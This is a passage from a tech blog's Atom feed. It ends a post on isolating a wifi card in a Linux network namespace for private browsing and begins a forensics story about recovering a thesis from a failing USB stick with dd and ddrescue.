&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PHYNUM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;iw&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wlan0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;info&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s/^.*wiphy \([0-9]\+\)$/\1/p&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$PHYNUM&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&amp;lt;phy-id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, it comes the tricky part.&lt;/p&gt;
&lt;p&gt;To move a wifi card to a namespace we need to have a process already running there in the first place.&lt;/p&gt;
&lt;p&gt;Then we use &lt;code&gt;iw&lt;/code&gt; to move the card.&lt;/p&gt;
&lt;p&gt;Here are the bits that do the magic:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;iw&lt;span class="w"&gt; &lt;/span&gt;phy&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;phy&amp;lt;phy-id&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$PID&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Just run a process in the namespace in background, grab its process id, and move the &lt;code&gt;"phy&amp;lt;phy-id&amp;gt;"&lt;/code&gt; card to the same namespace of that process.&lt;/p&gt;
&lt;h3 id="connect-to-a-wifi-network"&gt;Connect to a wifi network&lt;/h3&gt;
&lt;p&gt;With the card in its place, we are left is configure it. Pretty standard.&lt;/p&gt;
&lt;p&gt;First, up the interfaces in the &lt;code&gt;"starbucks"&lt;/code&gt; namespace:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rfkill&lt;span class="w"&gt; &lt;/span&gt;unblock&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;phy-id&amp;gt;&amp;quot;&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wlan0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;up
$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lo&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;up
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And connect to the access point.&lt;/p&gt;
&lt;p&gt;This of course will depend of the authentication method used by your local Starbucks.&lt;/p&gt;
&lt;p&gt;For an open network it is quite easy:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;iw&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wlan0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;connect&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$SSID&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
wlan0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;phy&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#&amp;lt;phy-id&amp;gt;): connected to &amp;lt;ap-mac-addr&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For a WPA/WPA2 protected network we need to generate a passphrase (and configuration) and then run &lt;code&gt;wpa_supplicant&lt;/code&gt;, an agent that will handle the negotiation between your machine and the access point and it will keep it alive in background.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;wpa_passphrase&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$SSID&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/starbucks_wpa_file&amp;quot;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wpa_supplicant&lt;span class="w"&gt; &lt;/span&gt;-B&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wlan0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/starbucks_wpa_file&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In both cases, the &lt;code&gt;$SSID&lt;/code&gt; is the name of the wifi network that you want to connect.&lt;/p&gt;
&lt;p&gt;To setup the IP address, the gateway and the DNS server we can use a DHCP client:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dhclient&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;wlan0&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Or we can setup them manually:&lt;/p&gt;
&lt;pre class="shell_session"&gt;&lt;code&gt;$ ip -n &amp;quot;starbucks&amp;quot; addr add &amp;quot;192.168.0.22/24&amp;quot; dev &amp;quot;wlan0&amp;quot;
$ ip -n &amp;quot;starbucks&amp;quot; route add default via &amp;quot;192.168.0.1&amp;quot; dev &amp;quot;wlan0&amp;quot;

$ mkdir -p &amp;quot;/etc/netns/starbucks&amp;quot;
$ echo &amp;quot;nameserver 8.8.8.8&amp;quot; &amp;gt; /etc/netns/starbucks/resolv.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The network namespace will mount on &lt;code&gt;/etc&lt;/code&gt; each custom file inside &lt;code&gt;/etc/netns/starbucks&lt;/code&gt; so any unaware program executed by &lt;code&gt;ip netns exec&lt;/code&gt; that wants to read/write a file in &lt;code&gt;/etc&lt;/code&gt; will be actually accessing to the files in &lt;code&gt;/etc/netns/starbucks&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In our case, we created a custom &lt;code&gt;/etc/netns/starbucks/resolv.conf&lt;/code&gt; to configure the DNS lookup.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Upss: &lt;code&gt;dhclient&lt;/code&gt; will no be able to write its &lt;code&gt;resolv.conf&lt;/code&gt; and you will require to setup the DNS manually.&lt;/p&gt;
&lt;p&gt;If you are brave enough you can try another &lt;a href="https://stackoverflow.com/questions/38102481/how-can-dhclient-be-made-namespace-aware"&gt;hack&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="surf-out-of-the-big-brother-sight"&gt;&lt;em&gt;Surf&lt;/em&gt; out of the Big Brother sight&lt;/h3&gt;
&lt;p&gt;To navigate free, open your favorite browser (or other network application) &lt;em&gt;inside&lt;/em&gt; the network namespace.&lt;/p&gt;
&lt;p&gt;To do that open a shell inside the namespace and log in as a normal user; only then open your browser:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;su&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;gehn&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;namespace&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;firefox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is an important detail: if you run &lt;code&gt;ip netns exec firefox&lt;/code&gt; directly you will end up running your browser with root privileges.&lt;/p&gt;
&lt;h3 id="close-everything"&gt;Close everything&lt;/h3&gt;
&lt;p&gt;In order to clean up everything, you need to ensure that all the processes running inside the namespace are killed and only then remove the namespace itself.&lt;/p&gt;
&lt;p&gt;Otherwise if some process keeps alive the namespace will not be deleted.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;pids&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;xargs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-15&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# be polite&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;pids&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;xargs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-9&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# but being bad is more fun&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;delete&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;-Rf&lt;span class="w"&gt; &lt;/span&gt;/etc/netns/starbucks/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you are a little paranoiac you can also block the wifi card before leaving the namespace to ensure that nobody will use it after that the namespace is gone:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;netns&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;starbucks&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rfkill&lt;span class="w"&gt; &lt;/span&gt;block&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;phy-id&amp;gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2017/04/16/Isolate-wifi-and-keep-traffic-out-Big-Brother-sight.html" rel="alternate" type="text/html" title="Isolate a wifi card and keep your traffic out of the Big Brother sight"/>
    <category term="wifi" label="wifi"/>
    <category term="container" label="container"/>
    <category term="hacking" label="hacking"/>
    <published>2017-04-16T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2016/12/18/Forensics-911-recovering-thesis.html</id>
    <title>Forensics 911 - recovering a thesis of one year work</title>
    <updated>2016-12-18T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A friend of mine called me: a girl friend of him was hopeless trying to recover her thesis from a corrupted usb stick &lt;em&gt;three days&lt;/em&gt; before her presentation.&lt;/p&gt;
&lt;p&gt;She was working in her thesis for almost a year, saving all the progresses in that usb stick. But what she didn’t know was that an usb memory has a limited number of writes and with more writes eventually the file system gets corrupted.&lt;/p&gt;
&lt;p&gt;This is the real story behind a forensics rally trying to recover her one year work.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Ok”&lt;/em&gt; – I said to my friend – &lt;em&gt;“bring me the pendrive. Tell to this girl that she must unplug it to avoid any further corruption. She mustn’t touch anything…”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Well, I can’t give you the pendrive right now”&lt;/em&gt; – he said – &lt;em&gt;“She gave it to his father to see if he could recover the file. He couldn’t. She also asked to a friend of hers who also couldn’t and I think that she took it to a guy that works with these things.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule number one:&lt;/strong&gt; don’t touch it, it will only get worse. Obviously this wasn’t the case.&lt;/p&gt;
&lt;h2 id="why-dd-is-not-the-best-option-for-cloning-a-disk"&gt;Why &lt;code&gt;dd&lt;/code&gt; is not the best option for cloning a disk&lt;/h2&gt;
&lt;p&gt;It was 11 pm and the pen drive was at last in my hands: &lt;em&gt;it’s forensic time&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;First that all we need an image of the disk to work with it without worrying to damage the original usb with our tests.&lt;/p&gt;
&lt;p&gt;There are quite a few options out there, and &lt;code&gt;dd&lt;/code&gt; is the first choice that crossed my mind but not the best.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dd&lt;/code&gt; can be found in any linux box by default. It can copy the disk to a file reading one block of data at time and avoiding mounting the file system at all.&lt;/p&gt;
&lt;p&gt;The disk can only be read and written in terms of sectors that in general have a 512 bytes of size. Because of that it is desired to set the size of the blocks of &lt;code&gt;dd&lt;/code&gt; for reading and writing to a multiple of the sector size.&lt;/p&gt;
&lt;p&gt;Using a different value, it will result in reading and writing incomplete sectors: it will work but you will need at least a second disk access to complete the same sector so it’s a complete waste of time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule number two:&lt;/strong&gt; the sector size is a key parameter. Some tools will work better with it, others will don’t work at all without it. Always check this size.&lt;/p&gt;
&lt;p&gt;Lets check that with &lt;code&gt;fdisk&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;/dev/sdc
Units:&lt;span class="w"&gt; &lt;/span&gt;sectors&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
Sector&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;logical/physical&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
I/O&lt;span class="w"&gt; &lt;/span&gt;size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;minimum/optimal&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, why we should change the size of the block used by &lt;code&gt;dd&lt;/code&gt; anyway? Well, larger blocks may improve the performance accessing less times to the disk. But it also can be a disadvantage.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dd&lt;/code&gt; will &lt;strong&gt;stop&lt;/strong&gt; if a read fails. Even if &lt;code&gt;dd&lt;/code&gt; goes on, the whole failed block is discarded and skipped. That means that a single bad sector of just 512 bytes can make that the whole block of, lets say 2k, gets discarded. Worse, &lt;code&gt;dd&lt;/code&gt; will &lt;em&gt;skip&lt;/em&gt; the failed block meaning that he won’t write anything to the output, leading to a shorter image. And most of the forensic tools don’t like these kind of images.&lt;/p&gt;
&lt;p&gt;So we need to make sure that &lt;code&gt;dd&lt;/code&gt; will not stop and at least write something in replace of a failed block.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sdc.dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;noerror,sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Those two flags in the &lt;code&gt;conv&lt;/code&gt; parameter do the magic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;noerror&lt;/code&gt; will force to continue the copy even if there is a reading error.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sync&lt;/code&gt; will replace a failed block by a block full of zeros in the output.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If &lt;code&gt;dd&lt;/code&gt; is new to you, the other parameters are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;if&lt;/code&gt; is the name of the file or device to read, &lt;code&gt;/dev/sdc&lt;/code&gt; was the pendrive in this case&lt;/li&gt;
&lt;li&gt;&lt;code&gt;of&lt;/code&gt; the same but to write, &lt;code&gt;sdc.dd&lt;/code&gt; is the name of disk image&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bs&lt;/code&gt; the block size, 2k in this case.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But as I said before, &lt;code&gt;dd&lt;/code&gt; is not the best choice. Think in the above setting, &lt;code&gt;bs=2k&lt;/code&gt; means blocks of 2k of size. With only one single bad sector the whole 2k bytes block is lost.&lt;/p&gt;
&lt;p&gt;Don’t get me wrong, &lt;code&gt;dd&lt;/code&gt; is not a bad software but it was never been designed for forensics purposes.&lt;/p&gt;
&lt;h2 id="cloning-the-disk-with-gnu-ddrescue"&gt;Cloning the disk with &lt;code&gt;GNU ddrescue&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;There are a lot of tools for recovering out there, some are based in &lt;code&gt;dd&lt;/code&gt;, other don’t. I found quite useful the tool &lt;code&gt;GNU ddrescue&lt;/code&gt;, which despite the name, it’s not based in &lt;code&gt;dd&lt;/code&gt; at all.&lt;/p&gt;
&lt;p&gt;Watch out there, there is also a tool called &lt;code&gt;dd_rescue&lt;/code&gt; (notice the underscore) that has nothing to do with &lt;code&gt;GNU ddrescue&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GNU ddrescue&lt;/code&gt;, from now on just &lt;code&gt;ddrescue&lt;/code&gt;, will copy a disk through three stages.&lt;/p&gt;
&lt;p&gt;In the first, it reads blocks of data and copy them to the output in the same manner that &lt;code&gt;dd&lt;/code&gt; but unlike the latter, &lt;code&gt;ddrescue&lt;/code&gt; will not stop if it found an error nor will put zeros nor discard the block if the reading fails.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9mb3JlbnNpY3MvdGhlc2lzLXJlY292ZXJpbmcvdHJpbW1pbmdfc2NyYXBpbmdfZGRyZXNjdWUuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KQWZ0ZXIgdGhlIGluaXRpYWwgYmxvY2std2lzZSByZWFkLCBgZGRfcmVzY3VlYCByZS1yZWFkcyBibG9ja3Mgd2l0aAplcnJvcnMuCgpGaXJzdCwgcmVhZGluZyBmcm9tIHRoZSBleHRyZW1lcyB1bnRpbCB0aGUgZmlyc3QgYmFkIHNlY3RvcgooKnRyaW1taW5nKikgYW5kIHRoZW4gdHJ5aW5nIGVhY2ggcmVtYWluaW5nIHNlY3Rvciwgb25lIGJ5IG9uZSAoKnNjcmFwaW5nKikuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9mb3JlbnNpY3MvdGhlc2lzLXJlY292ZXJpbmcvdHJpbW1pbmdfc2NyYXBpbmdfZGRyZXNjdWUuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KQWZ0ZXIgdGhlIGluaXRpYWwgYmxvY2std2lzZSByZWFkLCBgZGRfcmVzY3VlYCByZS1yZWFkcyBibG9ja3Mgd2l0aAplcnJvcnMuCgpGaXJzdCwgcmVhZGluZyBmcm9tIHRoZSBleHRyZW1lcyB1bnRpbCB0aGUgZmlyc3QgYmFkIHNlY3RvcgooKnRyaW1taW5nKikgYW5kIHRoZW4gdHJ5aW5nIGVhY2ggcmVtYWluaW5nIHNlY3Rvciwgb25lIGJ5IG9uZSAoKnNjcmFwaW5nKikuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/forensics/thesis-recovering/trimming_scraping_ddrescue.svg' type='image/svg+xml'&gt;&lt;/object&gt;
After the initial block-wise read, &lt;code&gt;dd_rescue&lt;/code&gt; re-reads blocks with errors.
&lt;br /&gt;&lt;br /&gt;
First, reading from the extremes until the first bad sector (&lt;em&gt;trimming&lt;/em&gt;) and then trying each remaining sector, one by one (&lt;em&gt;scraping&lt;/em&gt;).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Instead, it will &lt;em&gt;keep track&lt;/em&gt; of all the failed blocks in a log file.&lt;/p&gt;
&lt;p&gt;In the second phase, it will try to read again &lt;em&gt;only&lt;/em&gt; the failed blocks, but this time will read sector by sector from the begin of the block until it reaches a bad sector and then it will do the same but starting from the end and going backwards. This is called &lt;em&gt;trimming&lt;/em&gt; the block.&lt;/p&gt;
&lt;p&gt;In the third and last phase, it will try to read all the remained trimmed blocks again, sector by sector, but without stopping at the first bad sector. Every single sector will be tried. This is called &lt;em&gt;scraping&lt;/em&gt; the block.&lt;/p&gt;
&lt;p&gt;What is the output of all this process? An image of the disk with holes in it representing the missing bad sectors and the log file that keeps track of those holes.&lt;/p&gt;
&lt;p&gt;Here there are the lines of code:&lt;/p&gt;
&lt;p&gt;For the first phase&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ddrescue&lt;span class="w"&gt; &lt;/span&gt;--no-trim&lt;span class="w"&gt; &lt;/span&gt;--no-scrape&lt;span class="w"&gt; &lt;/span&gt;/dev/sdc&lt;span class="w"&gt; &lt;/span&gt;sdc.img&lt;span class="w"&gt; &lt;/span&gt;sdc.ddrescue.logfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And for the second and third phases&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ddrescue&lt;span class="w"&gt; &lt;/span&gt;-r3&lt;span class="w"&gt; &lt;/span&gt;/dev/sdc&lt;span class="w"&gt; &lt;/span&gt;sdc.img&lt;span class="w"&gt; &lt;/span&gt;sdc.ddrescue.logfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

